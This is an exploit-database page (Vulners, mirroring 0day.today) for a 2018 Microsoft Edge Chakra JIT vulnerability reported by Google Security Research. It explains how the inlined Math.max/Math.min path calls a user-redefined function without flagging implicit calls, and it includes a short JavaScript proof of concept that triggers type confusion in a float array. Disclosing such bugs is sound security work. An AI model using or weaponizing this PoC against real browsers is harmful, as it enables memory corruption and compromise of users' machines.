Lucene search
K

Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined Jav

🗓️ 09 Jan 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 35 Views

Microsoft Edge Chakra JIT - Call optimization and user-defined JavaScript function vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-11886
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11905
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11914
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11909
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11908
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11894
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11890
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11930
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11895
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11901
12 Dec 201721:29
attackerkb
Rows per page
/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".
 
Note: Math.min as well.
 
PoC:
*/
 
function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}
 
function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }
 
    Math.max = function () {
        arr[0] = {};
    };
 
    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}
 
main();

#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jan 2018 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.73993
35